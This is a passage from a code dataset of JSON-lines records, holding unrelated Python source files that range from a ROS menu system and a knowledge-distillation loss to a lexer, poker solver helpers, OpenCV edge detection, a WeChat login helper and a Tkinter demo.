self._get_path(name)\n \n req = GetParameters.Request()\n req.names.append(path)\n \n CaBotRclpyUtil.info(f\"getting the param {path}\")\n result = self.get_client.call(req)\n CaBotRclpyUtil.info(f\"got the result {result}\")\n if len(result.values) == 1:\n return rclpy.parameter.parameter_value_to_python(result.values[0])\n CaBotRclpyUtil.error(\"cannot get the parameter\")\n except:\n if default is not None:\n self._save_config(name, default)\n return default\n\n def _save_config(self, name, value):\n CaBotRclpyUtil.info(\"save config\")\n try:\n CaBotRclpyUtil.info(f\"setting the param {name}: {value}\")\n self.set_client.wait_for_service(timeout_sec=3.0)\n path = self._get_path(name)\n CaBotRclpyUtil.info(f\"setting the param {path}: {value}\")\n req = SetParameters.Request()\n param = rclpy.parameter.Parameter(path, value=value).to_parameter_msg()\n req.parameters.append(param)\n result = self.set_client.call(req)\n CaBotRclpyUtil.info(f\"{result}\")\n except:\n CaBotRclpyUtil.error(traceback.format_exc())\n CaBotRclpyUtil.error(\"cannot save the parameter\")\n\n @staticmethod\n def get_menu_config(config, name, default=None, error=False):\n \"\"\"Utility function to get config value specified by name.\n if value is not exists return 'default' value\n if error is True and value is not exists raise KeyError\n \"\"\"\n if name in config:\n return config[name]\n elif error:\n raise KeyError(\"Config does not have '%s'\"%name)\n return default\n\n @staticmethod\n def create_menu(menu_obj, config, identifier=None, title=None, usage=None, parent=None):\n if not config:\n return None\n \n \"\"\"Create menu from config\"\"\"\n # refer menu\n menu = config[\"menu\"] if \"menu\" in config else None\n if menu is not None:\n config2 = menu_obj[menu] if menu in menu_obj else []\n return Menu.create_menu(menu_obj, config2, identifier=menu, title=title, usage=usage, parent=parent)\n\n # otherwise\n _type = Menu.get_menu_config(config, \"type\", \"item\")\n\n if _type == \"list\":\n return MenuList(menu_obj, config, identifier=identifier, parent=parent)\n elif _type == \"adjust\":\n return MenuAdjust(config, identifier=identifier, parent=parent)\n elif _type == \"item\":\n return MenuItem(config, identifier=identifier, parent=parent)\n\n raise ValueError(\"%s is not a menu type\" % (_type))\n\n\n def __init__(self, config=None, identifier=None, parent=None):\n self._title = Menu.get_menu_config(config, \"title\")\n self._usage = Menu.get_menu_config(config, \"usage\")\n self._type = Menu.Undefined\n self._config = config\n self._identifier = identifier\n self._parent = parent\n self._items = []\n self._actions = None\n self._listeners = []\n self.delegate = None\n CaBotRclpyUtil.info(\"creating SetParameters client\")\n self.set_client = CaBotRclpyUtil.instance().node.create_client(SetParameters, \"/parameter_server/set_parameters\", callback_group=MutuallyExclusiveCallbackGroup())\n CaBotRclpyUtil.info(\"creating GetParameters client\")\n self.get_client = CaBotRclpyUtil.instance().node.create_client(GetParameters, \"/parameter_server/get_parameters\", callback_group=MutuallyExclusiveCallbackGroup())\n CaBotRclpyUtil.info(f\"menu initialization complete {self._title}\")\n\n\n def __str__(self):\n text = \"\"\n if self._type == Menu.List:\n text += \"Menu List (%s, %s)\\n\" % (self._identifier, self._title) \\\n + \"\\n\".join([\" \"+str(x) for x in self._items])\n elif self._type == Menu.Action:\n text += \"Menu Action (%s, %s)\" % (self._identifier, self._title)\n elif self._type == Menu.Adjust:\n text += \"Menu Adjust (%s, %s)\" % (self._identifier, self._title)\n else:\n text += super(Menu, self).__str__()\n if self._actions is not None:\n text += \"\\n with Action (%s)\" % (self._actions)\n return text\n\n @property\n def identifier(self):\n \"\"\"Menu identifier\"\"\"\n return self._identifier\n\n @property\n def type(self):\n \"\"\"Menu type\"\"\"\n return self._type\n\n @property\n def title(self):\n \"\"\"Menu title\"\"\"\n return i18n.localized_string(self._title)\n\n @property\n def usage(self):\n \"\"\"Menu usage which is read by TTS\"\"\"\n return i18n.localized_string(self._usage)\n\n @property\n def description(self):\n \"\"\"Description of the menu\"\"\"\n return i18n.localized_string(self._title)\n\n @property\n def value(self):\n \"\"\"Value of the menu\"\"\"\n return None\n\n def sev_value(self, value):\n raise RuntimeError(\"not implemented\")\n\n @property\n def can_explore(self):\n return False\n\n def next(self):\n \"\"\"Move to next item or value\"\"\"\n pass\n\n def prev(self):\n \"\"\"Move to previous item or value\"\"\"\n pass\n\n def select(self):\n \"\"\"Do action for selection\"\"\"\n return self\n\n def reset(self):\n \"\"\"Reset for reuse\"\"\"\n pass\n\n def _menu_selected(self, origin):\n \"\"\"menu selected\"\"\"\n if self.delegate:\n self.delegate.menu_selected(origin)\n if self._parent is not None:\n self._parent._menu_selected(origin)\n\n\nclass MenuList(Menu):\n \"\"\"List of Menu items\"\"\"\n def __init__(self, menu_obj, config=None, identifier=None, parent=None):\n if Menu.get_menu_config(config, \"usage\") is None:\n config[\"usage\"] = \"MENU_NAVIGATE_USAGE\"\n super(MenuList, self).__init__(config=config, identifier=identifier, parent=parent)\n\n self._type = Menu.List\n self._actions = Actions.create_actions(config, self)\n\n temp = []\n items = Menu.get_menu_config(config, \"items\")\n for item in items:\n menu_item = Menu.create_menu(menu_obj, item, parent=self)\n if menu_item:\n temp.append(menu_item)\n else:\n CaBotRclpyUtil.error(\"menu {} is not found\".format(item))\n self._items = temp\n self._current = None\n\n def _get_item(self, diff, default):\n if self._current is None:\n self._current = default\n else:\n self._current = (self._current + diff) % len(self._items)\n\n if self._current is None:\n return None\n return self._items[self._current]\n\n @property\n def value(self):\n \"\"\"Current value\"\"\"\n return self._get_item(0, None)\n\n @property\n def can_explore(self):\n return True\n \n def next(self):\n return self._get_item(+1, 0)\n\n def prev(self):\n return self._get_item(-1, -1)\n\n def select(self):\n if self._actions is not None:\n self._actions.do_action()\n \n return self.value\n\n def get_menu_by_identifier(self, identifier):\n for item in self._items:\n if item._identifier == identifier:\n return item\n return None\n \n @property\n def description(self):\n #return self.value.title if self.value is not None else \"not selected\"\\\n return i18n.localized_string(self.value._title) if self.value is not None else None\n\n def reset(self):\n self._current = None\n for item in self._items:\n item.reset()\n\nclass MenuAdjust(Menu):\n \"\"\"Adjustable menu\"\"\"\n def __init__(self, config=None, identifier=None, parent=None):\n super(MenuAdjust, self).__init__(config=config, identifier=identifier, parent=parent)\n self._type = Menu.Adjust\n self._max = Menu.get_menu_config(config, \"max\", error=True)\n self._min = Menu.get_menu_config(config, \"min\", error=True)\n self._values = Menu.get_menu_config(config, \"values\")\n if self._values is not None:\n self._format = Menu.get_menu_config(config, \"format\", default=\"{}\")\n else:\n self._format = Menu.get_menu_config(config, \"format\", default=\"{}\")\n if self._min >= self._max:\n raise ValueError(\"min value should be smaller than max value \" \\\n + \"(%f < %f)\"%(self._min, self._max))\n\n self._default = Menu.get_menu_config(config, \"default\", error=True)\n if self._default < self._min or self._max < self._default:\n raise ValueError(\"default value should be in min-max range \" \\\n + \"(%f < %f < %f\" % (self._min,\n self._default,\n self._max))\n\n self._step = Menu.get_menu_config(config, \"step\", 1)\n self._name = Menu.get_menu_config(config, \"name\", error=True)\n self._current = self._get_saved_current()\n self._actions = Actions.create_actions(config, self)\n self._check_action_once()\n \n def _check_action(self):\n if self._actions is None:\n return\n if self._actions.do_action():\n return\n CaBotRclpyUtil.info(\"retry do_action with %s\", str(self))\n self._check_action_once()\n\n @cabot_common.util.setInterval(3, 1)\n def _check_action_once(self):\n self._check_action()\n\n\n def _get_saved_current(self):\n temp = self._get_saved_config(self._name, default=self._default)\n if hasattr(self, \"_values\") and self._values is not None and isinstance(temp, str):\n temp = self._values.index(temp)\n return temp if temp is not None else self._default\n\n def _save_current(self):\n if self._actions is not None:\n self._actions.do_action()\n return self._save_config(self._name, self.value)\n\n @property\n def value(self):\n \"\"\"Current value\"\"\"\n if self._values:\n return self._values[self._current]\n return self._current\n\n def set_value(self, value):\n if self._values:\n self._current = self._values.index(value)\n else:\n self._current = value\n self._save_current()\n\n @property\n def can_explore(self):\n return True\n\n @property\n def min(self):\n \"\"\"Minimum value\"\"\"\n return self._min\n\n @property\n def max(self):\n \"\"\"Maximum value\"\"\"\n return self._max\n\n ## intentionally opposite\n def next(self): \n self._current = max(self._current - self._step, self._min)\n self._save_current()\n return self._current\n\n def prev(self):\n self._current = min(self._current + self._step, self._max)\n self._save_current()\n return self._current\n\n def select(self):\n return self\n\n @property\n def description(self):\n CaBotRclpyUtil.info(f\"{self._format}, {self._current}, {self.value}\")\n return i18n.localized_string(self._format, i18n.localized_string(self.value)) \n #\" \" + i18n.localized_string(self._title))\n\n def reset(self):\n self._current = self._get_saved_current()\n\nclass MenuItem(Menu):\n \"\"\"Menu item with action\"\"\"\n def __init__(self, config=None, identifier=None, parent=None):\n super(MenuItem, self).__init__(config=config, identifier=identifier, parent=parent)\n self._type = Menu.Action\n self._value = Menu.get_menu_config(config, \"value\")\n self._format = Menu.get_menu_config(config, \"format\", \"MENU_ITEM_SELECTED\")\n\n @property\n def description(self):\n return i18n.localized_string(self._format, i18n.localized_string(self._title))\n\n @property\n def value(self):\n return self._value\n\n @property\n def can_explore(self):\n return False\n\n def reset(self):\n pass\n\n def select(self):\n pass\n","repo_name":"CMU-cabot/cabot-navigation","sub_path":"cabot_ui/cabot_ui/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":18702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42724622525","text":"import torch\nimport torch.nn as nn\n\nclass SoftTargetLoss(nn.Module):\n '''\n Distilling the knowledge in a Neural Network\n https://arxiv.org/abs/1503.02531\n '''\n def __init__(self, T=10):\n super().__init__()\n self.T = T\n \n def forward(self, logits, targets, t):\n '''\n logits : output of the student\n targets: output of the teacher\n t : correct label\n '''\n logits = logits / self.T\n targets = targets / self.T\n soft_loss = nn.KLDivLoss(reduction='batchmean')\n hard_loss = nn.CrossEntropyLoss()\n p = nn.Softmax(dim=1)\n q = nn.LogSoftmax(dim=1)\n kd_loss = soft_loss(q(logits), p(targets)) + hard_loss(logits, t)\n return kd_loss\n \nif __name__ == '__main__':\n logits = torch.randn((32,10))\n targets = torch.randn((32,10))\n t = torch.randint(0, 10, (32,))\n loss = SoftTargetLoss()\n kd_loss = loss(logits, targets, t)\n print(kd_loss)\n print(loss.T)","repo_name":"motakuss/Knowledge-Distillation-Technique","sub_path":"src/kd_loss/st.py","file_name":"st.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22825837271","text":"import json\nimport pickle\nimport re\nimport numpy as np\nfrom string import punctuation\n\nwith open('../../../data/fever/support/main.json','r') as f:\n total = json.load(f)\n\n\ndef filterfun(word):\n if word in punctuation:\n return False\n else:\n return True\n\n\nclaims = []\nsentences = []\nfor i in range(len(total)):\n claims += re.sub(r'[^\\w\\s]','',total[i]['claim'].lower()).split()\n claims.append('\\n')\n sentences += re.sub(r'[^\\w\\s]','',total[i]['sentence'].lower()).split()\n sentences.append('\\n')\n\n#filtered = filter(filterfun,claims)\n#claims = []\n#for i in filtered:\n# claims.append(i)\n\n#filtered = filter(filterfun,sentences)\n#sentences = []\n#for i in filtered:\n# sentences.append(i)\n\nclaims = ' '.join(claims)\nclaims = ''.join(claims).split('\\n')\ntemp = ' '.join(claims).split()\nsentences = ' '.join(sentences)\nsentences = ''.join(sentences).split('\\n')\ntemp += ' '.join(sentences).split()\nwords = list(set(temp))\nvocab_to_int = dict()\n\n\nfor i in range(len(words)):\n vocab_to_int.update({words[i]: i})\n\nsent_ints = []\nclaim_ints = []\nlabels = []\nmxclaim = 0\nmxsent = 0\nfor i in range(len(total)):\n s = sentences[i]\n c = claims[i]\n if len(s) > mxsent:\n mxsent = len(s)\n if len(c) > mxclaim:\n mxclaim = len(c)\n sent_ints.append([vocab_to_int[word] for word in s.split()])\n claim_ints.append([vocab_to_int[word] for word in c.split()])\n labels.append(total[i]['lablel'])\n\n\nclaim_features = np.zeros((len(claim_ints), mxclaim), dtype=int)\nsent_features = np.zeros((len(sent_ints), mxsent), dtype=int)\n\nfor i, row in enumerate(claim_ints):\n claim_features[i, -len(row):] = np.array(row)[:mxclaim]\n\nfor i, row in enumerate(sent_ints):\n sent_features[i, -len(row):] = np.array(row)[:mxsent]\n\nwith open('../../../data/fever/support/train.pkl','rb') as f:\n train = pickle.load(f)\nwith open('../../../data/fever/support/val.pkl','rb') as f:\n val = pickle.load(f)\n\ntrain_claim = []\ntrain_sent = []\nval_claim = []\nval_sent = []\n\nfor i in val['lablel'].keys():\n val_claim.append(claim_features[i])\n val_sent.append(sent_features[i])\n\nfor i in train['lablel'].keys():\n train_claim.append(claim_features[i])\n train_sent.append(sent_features[i])\n\n","repo_name":"DeFacto/SimpleLSTM","sub_path":"models/SimpleLSTM/support/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"26614734393","text":"import math \n\nn = int(input())\n\nmax_L = -float(\"inf\")\nmin_R = float(\"inf\")\n\nfor i in range(n):\n l, r = map(int, input().split())\n max_L = max(max_L, l)\n min_R = min(min_R, r)\n\n if max_L <= min_R:\n print(0)\n else:\n tmp = math.ceil(abs(max_L-min_R)/2)\n print(tmp)\n","repo_name":"mei28/Competitive-programing","sub_path":"ARC-129/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75191741226","text":"import ply.lex as lex\nfrom src.toks import Token\n\n\nclass Lexer:\n def __init__(self):\n self.tokens = Token.tokens\n self.vars = {}\n self.lexer = None\n \n t_ignore = ' \\t'\n t_PLUS = r'\\+'\n t_MINUS = r'\\-'\n t_TIMES = r'\\*'\n t_DIVIDE = r'\\/'\n t_POWER = r'\\*\\*'\n t_LPAREN = r'\\('\n t_RPAREN = r'\\)'\n t_ASSIGN = r'\\='\n t_EQT = r'\\=\\='\n t_NEQ = r'\\!\\='\n t_LT = r'\\<'\n t_GT = r'\\>'\n t_ELT = r'\\<\\='\n t_EGT = r'\\>\\='\n t_SEMICOLON = r'\\;'\n\n def t_IDENTIFIER(self, t):\n r'[a-zA-Z_\\u0600-\\u06FF][a-zA-Z0-9_\\u0600-\\u06FF]*'\n if t.value == 'متغير':\n t.type = 'VAR'\n return t\n \n if t.value == 'صح' or t.value == 'خطا':\n \n if t.value == 'صح':\n t.value = True\n else:\n t.value = False\n t.type = 'BOOL'\n return t\n \n if t.value == 'و':\n t.type = 'AND'\n return t\n \n if t.value == 'او':\n t.type = 'OR'\n return t\n \n if t.value == 'ليس':\n t.type = 'NOT'\n return t\n \n t.type = 'IDENTIFIER'\n return t\n \n def t_FLOAT(self, t):\n r'\\d+\\.\\d+'\n t.value = float(t.value)\n t.type = 'FLOAT'\n return t\n\n def t_INT(self, t):\n r'\\d+'\n t.value = int(t.value)\n t.type = 'INT'\n return t\n \n def t_NEWLINE(self, t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n return t\n\n def t_error(self, t):\n print(f\"Illegal character '{t.value[0]}'\")\n t.lexer.skip(1)\n\n def build(self, **kwargs):\n self.lexer = lex.lex(module=self, **kwargs)\n \nif __name__ == \"__main__\":\n lexer = Lexer()\n lexer.build()\n lexer.lexer.input(\"متغير ا = 10 \\n ا + 10 * 2\")\n for token in lexer.lexer:\n print(token)\n","repo_name":"GNMohamed1/Qalam","sub_path":"src/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20404328856","text":"\ndef rothess(h):\n hr=np.zeros_like(h)\n ridx={0:0,1:1,2:3,3:4,4:2}\n for i in range(5):\n for j in range(5):\n hr[i,j]=r.apply(r.apply(h[ridx[i],ridx[j]]).T).T\n return hr\ndef rotgrad(g):\n b=r.apply(g)\n b[[2,3,4]]=b[[3,4,2]]\n return b \n","repo_name":"ferchault/APDFT","sub_path":"prototyping/hessian/AAFF_backup/Libs/AP_symmetry.py","file_name":"AP_symmetry.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"35514139461","text":"import adventofcode.util as util\n\ndef get_elves_by_calorie_count(data):\n elves = []\n calories = 0\n for line in data:\n if len(line) == 0:\n elves.append(calories)\n calories = 0\n else:\n calories = calories + int(line)\n return elves\n\n\nif __name__ == '__main__':\n data = util.read_input('input.txt')\n elves = get_elves_by_calorie_count(data)\n\n max_value = max(elves)\n index = elves.index(max_value)\n\n total_kcal = 0;\n for i in range(3):\n current_max = max(elves)\n total_kcal += current_max\n elves.remove(current_max)\n\n print(total_kcal)\n\n\n\n","repo_name":"johan-ronnkvist/advent-of-code","sub_path":"adventofcode/day_01/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36537520378","text":"import numpy as np\nimport torch\nimport pickle\n\ndef load_dictionary(filename):\n\twith open(filename + '.pkl', 'rb') as f:\n\t\treturn pickle.load(f)\n\ndef pusherLoss(pushPerc, callPerc, stackSize, equity):\n\tloss = torch.mean((-1)*(-0.5*(1-pushPerc) + pushPerc*(1*(1-callPerc) + (2*stackSize*equity - stackSize)*callPerc)))\n\treturn loss\n\ndef callerLoss(pushPerc, callPerc, stackSize, equity):\n\tloss = torch.mean((-1)*(0.5*(1-pushPerc) + pushPerc*(-1*(1-callPerc) + (2*stackSize*(1-equity) - stackSize)*callPerc)))\n\treturn loss\n\ndef pusherLossNumpy(pushPerc, callPerc, stackSize, equity):\n\tloss = np.mean((-1)*(-0.5*(1-pushPerc) + pushPerc*(1*(1-callPerc) + (2*stackSize*equity - stackSize)*callPerc)))\n\treturn loss\n\ndef callerLossNumpy(pushPerc, callPerc, stackSize, equity):\n\tloss = np.mean((-1)*(0.5*(1-pushPerc) + pushPerc*(-1*(1-callPerc) + (2*stackSize*(1-equity) - stackSize)*callPerc)))\n\treturn loss\n\n# Cards should be rank followed by suit ('As', '7c', etc)\n# Puts cards in rank order and tells if they are suited ('AAu', '98s', etc)\ndef processHand(card1, card2, ranks):\n\thand = ''\n\tif(ranks.index(card1[0]) < ranks.index(card2[0])):\n\t\thand = hand + card1[0] + card2[0]\n\telse:\n\t\thand = hand + card2[0] + card1[0]\n\tif(card1[1] == card2[1]):\n\t\thand = hand + 's'\n\telse:\n\t\thand = hand + 'u'\n\treturn hand\n\ndef oneHotCard(card, ranks):\n\toneHot = np.zeros((1, 13))\n\toneHot[0, ranks.index(card[0])] = 1\n\treturn oneHot\n\n# 's' = suited, 'u' = offsuit, 3rd catagory for pairs\ndef oneHotSuited(suited, card1Rank, card2Rank):\n\toneHot = np.zeros((1, 3))\n\tif(suited == 's'):\n\t\toneHot[0, 0] = 1\n\telse:\n\t\tif(card1Rank != card2Rank):\n\t\t\toneHot[0, 1] = 1\n\t\telse:\n\t\t\toneHot[0, 2] = 1\n\treturn oneHot","repo_name":"rfick/push_fold_solver","sub_path":"push_fold_helper_functions.py","file_name":"push_fold_helper_functions.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21278239915","text":"import cv2\n\n# Read the original image\ndef getCanny(img):\n\t# Convert to graycsale\n\timg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\t# Blur the image for better edge detection\n\timg_blur = cv2.GaussianBlur(img_gray, (3,3), 0) \n\n\t# Sobel Edge Detection\n\tsobelx = cv2.Sobel(src=img_blur, ddepth=cv2.CV_64F, dx=1, dy=0, ksize=5) # Sobel Edge Detection on the X axis\n\tsobely = cv2.Sobel(src=img_blur, ddepth=cv2.CV_64F, dx=0, dy=1, ksize=5) # Sobel Edge Detection on the Y axis\n\tsobelxy = cv2.Sobel(src=img_blur, ddepth=cv2.CV_64F, dx=1, dy=1, ksize=5) # Combined X and Y Sobel Edge Detection\n\t# Display Sobel Edge Detection Images\n\t#cv2.imshow('Sobel X', sobelx)\n\t#cv2.waitKey(0)\n\t#cv2.imshow('Sobel Y', sobely)\n\t#cv2.waitKey(0)\n\t#cv2.imshow('Sobel X Y using Sobel() function', sobelxy)\n\t#cv2.waitKey(0)\n\n\t# Canny Edge Detection\n\tedges = cv2.Canny(image=img_blur, threshold1=100, threshold2=200) # Canny Edge Detection\n\t# Display Canny Edge Detection Image\n\t# cv2.imshow('Canny Edge Detection', edges)\n\treturn edges,sobelxy\n\t\n\n\n\n\nif __name__ == \"__main__\":\n\n vid = cv2.VideoCapture(0)\n\n NOT_CLOSE = \"NOT_CLOSE\"\n CLOSE = \"CLOSE\"\n tme = 0\n while True:\n ret, frame = vid.read()\n cv2.imshow('frame',frame)\n canny,sobelx = getCanny(frame)\n cv2.imshow('canny',canny)\n cv2.imshow('sobelx',sobelx)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n vid.release()\n cv2.destroyAllWindows()\n","repo_name":"Neotez/Control-Flow","sub_path":"new_edge.py","file_name":"new_edge.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35633806896","text":"from time import sleep\r\n\r\nfrom lxml.html import fromstring, tostring\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\n\r\nif __name__ == \"__main__\":\r\n url = \"https://iirmephi.ru/tutorials/npp/datasource_first/\"\r\n driver = webdriver.Firefox(executable_path=r\"C:\\Users\\khvos\\OneDrive\\Рабочий стол\\Прога\\geckodriver-v0.32.0-win64\\geckodriver.exe\")\r\n driver.get(url)\r\n source = fromstring(driver.page_source)\r\n\r\n\r\n\r\n # elements = driver.find_elements(By.XPATH, '//table/thead/tr/th/a')\r\n # x = [el.text for el in elements]\r\n\r\n elements = source.xpath('//table[contains(@class, \"table-striped\")]/thead/tr/th/a/text()')\r\n # print(elements)\r\n lst = [el.lower() for el in elements]\r\n print(lst)\r\n\r\n trs = source.xpath('//table[contains(@class, \"table-striped\")]/tbody/tr')\r\n\r\n for tr in trs:\r\n row = fromstring(tostring(tr))\r\n print(row.xpath('//td/text()'))\r\n\r\n # c = {}\r\n # for i in range(len(trs)): \r\n # lines = driver.find_elements(By.XPATH, '//table/tbody/tr')\r\n # y = [line.text for line in lines]\r\n # print(y)\r\n # for i in range(len(y)):\r\n # yy = driver.find_elements(By.XPATH, '//table/tbody/tr/td[1]')\r\n # yyy = [l.text for l in yy]\r\n # print(yyy)\r\n \r\n","repo_name":"khm2609/Learning-process","sub_path":"Parsing/Tables.py","file_name":"Tables.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22331463691","text":"from ..AbstractScenario import *\n\n\nclass JoinSpaceship(Scenario):\n\n def __init__(self, character, game_running):\n super().__init__(character, game_running)\n\n def run(self):\n print(\"As you wander through the spaceport, you see three different spacecraft that are about to depart.\\n\"\n \"Which one do you want to join?\\n\")\n\n selection = choice_input([\n \"Pirate ship (+3 combat, -2 leadership, +1 engineering)\",\n \"Royal navy ship (+3 leadership, +1 combat)\",\n \"Asteroid mining vessel (+3 engineering, -2 combat, +1 piloting)\"\n ])\n\n modified_skills = {}\n selected_ship = None\n\n if selection == 1:\n print(\"You have joined a pirate ship crew!\")\n modified_skills = {\n \"leadership\": -2,\n \"combat\": 3,\n \"engineering\": 1\n }\n selected_ship = 'pirate'\n elif selection == 2:\n print(\"You have joined a royal navy crew!\")\n modified_skills = {\n \"leadership\": 3,\n \"combat\": 1,\n }\n selected_ship = 'navy'\n elif selection == 3:\n print(\"You have joined an asteroid mining vessel!\")\n modified_skills = {\n \"combat\": -2,\n \"engineering\": 3\n }\n selected_ship = 'mining'\n\n # Update the characters skills based off the selection\n for skill, value in modified_skills.items():\n try:\n self.character.skills[skill] += value\n except KeyError:\n pass\n self.character.ship = selected_ship\n # Display our stats now we're done\n self.character.display_current_stats()\n","repo_name":"MKJSmith/SciFi","sub_path":"src/scenarios/common/JoinSpaceship.py","file_name":"JoinSpaceship.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10988182827","text":"from phply.phpparse import make_parser\nfrom phply.phplex import lexer\nfrom phply import phpast as ast\n\nfrom langchain.document_loaders.parsers.language.code_segmenter import CodeSegmenter\n\n\nclass PHPSegmenter(CodeSegmenter):\n \"\"\"Code segmenter for `Python`.\"\"\"\n\n def __init__(self, code: str):\n super().__init__(code)\n self.source_lines = self.code.splitlines()\n\n\n def is_valid(self):\n try:\n parser = make_parser()\n result = parser.parse(self.code, lexer.clone())\n parser.restart()\n return True\n except AssertionError:\n return False\n except SyntaxError:\n return False\n\n def _get_line_indexes(self, node):\n start = node.lineno - 1\n inner = [n for n in node.nodes if isinstance(n, (ast.Node))]\n if len(inner) > 0:\n last_node = inner[-1]\n if isinstance(last_node, (ast.Method, ast.Class)):\n [_, end] = self._get_line_indexes(last_node)\n else:\n end = last_node.lineno\n end = end + 1\n else:\n end = node.lineno - 1\n return [start,end]\n \n def _extract_code(self, node):\n [start, end] = self._get_line_indexes(node)\n return \"\\n\".join(self.source_lines[start:end])\n\n def extract_functions_classes(self):\n functions_classes = []\n parser = make_parser()\n result = parser.parse(self.code, lexer.clone())\n parser.restart()\n\n for node in result:\n if isinstance(node, (ast.Class, ast.Function)):\n code = self._extract_code(node)\n functions_classes.append(code)\n\n return functions_classes\n\n def simplify_code(self):\n all_lines = self.source_lines[:]\n parser = make_parser()\n result = parser.parse(self.code, lexer.clone())\n parser.restart()\n\n for node in result:\n if isinstance(node, (ast.Class, ast.Function)):\n [start, end] = self._get_line_indexes(node)\n\n all_lines[start] = f'// Simplified Code for {all_lines[start]}'\n\n for i in range(start + 1, end):\n all_lines[i] = None\n\n return \"\\n\".join(line for line in all_lines if line is not None)\n","repo_name":"stuartpearce-hg/Ideagen-GenAI-Workshop","sub_path":"workshop/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33391648697","text":"\"\"\"\n Created by Amirk on 2018-07-29.\n\"\"\"\nimport json\n\nfrom flask import current_app\nimport requests\nfrom app.model.base import db\nfrom app.model.user_book_case import UserBookCase\nfrom app.model.userinfo import UserInfo\n\n\nclass RquestWxSessionKey:\n \"\"\"请求微信api 获取openid 保存用户信息到数据库\"\"\"\n\n def __init__(self, data):\n self.data = data\n self.session_key = None\n self.appId = current_app.config['APPID']\n self.secret = current_app.config['APP_SECRET_KEY']\n self.openId = None\n self.userinfo = self.data.get('userinfo')\n self.url = f\"https://api.weixin.qq.com/sns/jscode2session?\" \\\n f\"appid={self.appId}\" \\\n f\"&secret={self.secret}\" \\\n f\"&js_code={self.data.get('code')}\" \\\n f\"&grant_type=authorization_code\"\n\n def getparse(self):\n res = requests.get(self.url).json()\n self.session_key = res.get('session_key')\n self.openId = res.get('openid')\n self.userinfo[\"openid\"] = self.openId\n return self.save_user_info()\n\n def save_user_info(self):\n user = UserInfo.query.get(self.userinfo.get('openid'))\n if not user:\n with db.auto_commit():\n user = UserInfo()\n user.openid = self.userinfo.get('openid')\n user.nickName = self.userinfo.get('nickName')\n user.avatarUrl = self.userinfo.get('avatarUrl')\n user.gender = self.userinfo.get('gender')\n user.language = self.userinfo.get('language')\n user.city = self.userinfo.get('city')\n user.province = self.userinfo.get('country')\n user.country = self.userinfo.get('country')\n db.session.add(user)\n UserBookCase.user_init_book(self.openId)\n return dict(user)\n","repo_name":"wanws/BookApplet","sub_path":"books/books/server/novel/app/plugin/requests_wx.py","file_name":"requests_wx.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28696877935","text":"\"\"\"\r\nProgram name: listbox_simple_1.py\r\nObjective: Get a reaction to a menu selection usinga mouse click.\r\n\r\nKeywords: listbox, validation, list selection\r\n============================================================================79\r\n \r\nExplanation: This is the possible the simplest and most straight-forward\noption selection mechanism.\r\nThe message printed on the screen confirms that the code works.\r\n\r\nAuthor: Mike Ohlson de Fine\r\n\r\n\"\"\"\r\n# listbox_simple_1.py\r\n#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\nfrom Tkinter import *\r\nroot = Tk()\r\nroot.title(\"Listbox Data Input\")\r\n\r\ndef get_list(event):\r\n # Mouse button release callback\r\n # Read the listbox selection and put the result in an entry box widget\r\n index = listbox1.curselection()[0] # get selected line index\r\n seltext = listbox1.get(index) # get the line's text & assign to a variable\r\n enter_1.delete(0, 50) # delete previous text in enter1 otherwise the entries append to each other.\r\n enter_1.insert(0, seltext) # now display the selected text\r\n\r\n# Create the listbox (note that size is in characters)\r\nlistbox1 = Listbox(root, width=50, height=6)\r\nlistbox1.grid(row=0, column=0)\r\n\r\n# Fill the listbox with data\r\nlistbox1.insert(END, \"a list entry\")\r\nfor item in [\"one has begun\", \"two is a shoe\", \"three like a knee\", \"four to the door\"]:\r\n listbox1.insert(END, item)\r\n\r\n# use entry widget to display/edit selection\r\nenter_1 = Entry(root, width=50, bg='yellow')\r\nenter_1.insert(0, 'Click on an item in the listbox')\r\nenter_1.grid(row=1, column=0)\r\n\r\n# left mouse click on a list item to display selection\r\nlistbox1.bind('', get_list)\r\n \r\nroot.mainloop()\n","repo_name":"anyatran/school","sub_path":"CG/SciPy/listbox_simple_1.py","file_name":"listbox_simple_1.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"5013864985","text":"# 